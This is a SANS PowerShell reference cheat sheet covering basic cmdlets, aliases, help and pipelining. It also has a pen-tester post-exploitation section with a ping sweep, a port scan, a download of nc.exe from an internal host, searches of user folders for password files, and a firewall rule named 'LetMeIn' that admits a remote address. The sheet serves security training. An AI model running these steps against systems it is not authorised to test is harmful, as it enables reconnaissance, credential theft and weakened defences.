

# SANS PowerShell Cheat Sheet

---

## Purpose

The purpose of this cheat sheet is to describe some common options and techniques for use in Microsoft's PowerShell.

## PowerShell Overview

### PowerShell Background

PowerShell is the successor to command.com, cmd.exe and cscript. Initially released as a separate download, it is now built in to all modern versions of Microsoft Windows. PowerShell syntax takes the form of verb-noun patterns implemented in cmdlets.

### Launching PowerShell

PowerShell is accessed by pressing Start -> typing powershell and pressing enter. Some operations require administrative privileges and can be accomplished by launching PowerShell as an elevated session. You can launch an elevated PowerShell by pressing Start -> typing powershell and pressing Shift-CTRL-Enter.

**Additionally, PowerShell cmdlets can be called from cmd.exe by typing:**

```
C:\> powershell -c "<command>"
```

## Useful Cmdlets (and aliases)

**Get a directory listing (ls, dir, gci):**

```
PS C:\> Get-ChildItem
```

**Copy a file (cp, copy, cpi):**

```
PS C:\> Copy-Item src.txt dst.txt
```

**Move a file (mv, move, mi):**

```
PS C:\> Move-Item src.txt dst.txt
```

### Find text within a file:

```
PS C:\> Select-String -path c:\users\*.txt -pattern password
```

```
PS C:\> ls -r c:\users -file | % {Select-String -path $_ -  
pattern password}
```

### Display file contents (cat, type, gc):

```
PS C:\> Get-Content file.txt
```

### Get present directory (pwd, gl):

```
PS C:\> Get-Location
```

### Get a process listing (ps, gps):

```
PS C:\> Get-Process
```

### Get a service listing:

```
PS C:\> Get-Service
```

### Formatting output of a command (Format-List):

```
PS C:\> ls | Format-List -property name
```

### Paginating output:

```
PS C:\> ls -r | Out-Host -paging
```

### Get the SHA1 hash of a file:

```
PS C:\> Get-FileHash -Algorithm SHA1 file.txt
```

### Exporting output to CSV:

```
PS C:\> Get-Process | Export-Csv procs.csv
```

## PowerShell for Pen-Tester Post-Exploitation

### Conduct a ping sweep:

```
PS C:\> 1..255 | % {echo "10.10.10.$_";ping -n 1 -w 100  
10.10.10.$_ | Select-String ttl}
```

### Conduct a port scan:

```
PS C:\> 1..1024 | % {echo ((new-object  
Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is  
open!";} 2>$null
```

### Fetch a file via HTTP (wget in PowerShell):

```
PS C:\> (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/nc.  
exe", "nc.exe")
```

### Find all files with a particular name:

```
PS C:\> Get-ChildItem "C:\Users\" -recurse -include  
*passwords*.txt
```

### Get a listing of all installed Microsoft Hotfixes:

```
PS C:\> Get-HotFix
```

### Navigate the Windows registry:

```
PS C:\> cd HKLM:\
PS HKLM:\> ls
```

**List programs set to start automatically in the registry:**

```
PS C:\> Get-ItemProperty
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run
```

**Convert string from ascii to Base64:**

```
PS C:\>
[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.Ge
tBytes("PSFTW!"))
```

**List and modify the Windows firewall rules:**

```
PS C:\> Get-NetFirewallRule -all
PS C:\> New-NetFirewallRule -Action Allow -DisplayName LetMeIn -
RemoteAddress 10.10.10.25
```

## Syntax

Cmdlets are small scripts that follow a dash-separated verb-noun convention such as "Get-Process".

**Similar Verbs with Different Actions:**

- **New-** Creates a new resource
- **Set-** Modifies an existing resource
- **Get-** Retrieves an existing resource
- **Read-** Gets information from a source, such as a file
- **Find-** Used to look for an object
- **Search-** Used to create a reference to a resource
- **Start-** (asynchronous) begin an operation, such as starting a process
- **Invoke-** (synchronous) perform an operation such as running a command

**Parameters:**

Each verb-noun named cmdlet may have many parameters to control cmdlet functionality.

**Objects:**

The output of most cmdlets are objects that can be passed to other cmdlets and further acted upon. This becomes important in pipelining cmdlets.

## Finding Cmdlets

To get a list of all available cmdlets:

```
PS C:\> Get-Command
```

Get-Command supports filtering. To filter cmdlets on the verb set:

```
PS C:\> Get-Command Set*
```

```
PS C:\> Get-Command -Verb Set
```

Or on the noun process:

```
PS C:\> Get-Command *Process
```

```
PS C:\> Get-Command -Noun process
```

## Getting Help

To get help with help:

```
PS C:\> Get-Help
```

To read cmdlet self documentation:

```
PS C:\> Get-Help <cmdlet>
```

Detailed help:

```
PS C:\> Get-Help <cmdlet> -detailed
```

Usage examples:

```
PS C:\> Get-Help <cmdlet> -examples
```

#### Full (everything) help:

```
PS C:\> Get-Help <cmdlet> -full
```

#### Online help (if available):

```
PS C:\> Get-Help <cmdlet> -online
```

## Cmdlet Aliases

Aliases provide short references to long commands.

#### To list available aliases (alias alias):

```
PS C:\> Get-Alias
```

#### To expand an alias into a full name:

```
PS C:\> alias <unknown alias>
```

```
PS C:\> alias gcm
```

## Efficient PowerShell

#### Tab completion:

```
PS C:\> get-child<TAB>
```

```
PS C:\> Get-ChildItem
```

#### Parameter shortening:

```
PS C:\> ls -recurse
```

is equivalent to:

```
PS C:\> ls -r
```

## 5 PowerShell Essentials

### Shows help & examples

```
PS C:\> Get-Help [cmdlet] -examples
```

Alias

```
PS C:\> help [cmdlet] -examples
```

### Shows a list of commands

```
PS C:\> Get-Command
```

Alias

```
PS C:\> gcm *[string]*
```

### Shows properties & methods

```
PS C:\> Get-Member
```

Alias

```
PS C:\> [cmdlet] | gm
```

Takes each item on pipeline and handles it as \$\_

```
PS C:\> ForEach-Object { $_ }
```

Alias

```
PS C:\> [cmdlet] | % { [cmdlet] $_ }
```

**Searches for strings in files or output, like grep**

```
PS C:\> Select-String
```

Alias

```
PS C:\> sls -path [file] -pattern [string]
```

## Pipelining, Loops, and Variables

**Piping cmdlet output to another cmdlet:**

```
PS C:\> Get-Process | Format-List -property name
```

**ForEach-Object in the pipeline (alias %):**

```
PS C:\> ls *.txt | ForEach-Object {cat $_}
```

**Where-Object condition (alias where or ?):**

```
PS C:\> Get-Process | Where-Object {$_ .name -eq "notepad"}
```

**Generating ranges of numbers and looping:**

```
PS C:\> 1..10
```



```
PS C:\> 1..10 | % {echo "Hello!"}
```

### Creating and listing variables:

```
PS C:\> $tmol = 42
```

```
PS C:\> ls variable:
```

### Examples of passing cmdlet output down pipeline:

```
PS C:\> dir | group extension | sort
```

```
PS C:\> Get-Service dhcp | Stop-Service -PassThru | Set-Service  
-StartupType Disabled
```

## Additional Info

The original SANS PowerShell Pocket Reference Guide (B&W TriFold) is available here:

[Original SANS PowerShell CheatSheet](#)

A printable PDF version of the cheatsheet using this format is available here:

[SANS PS CheatSheet](#)

## Cheat Sheet Version

**Version 4.0**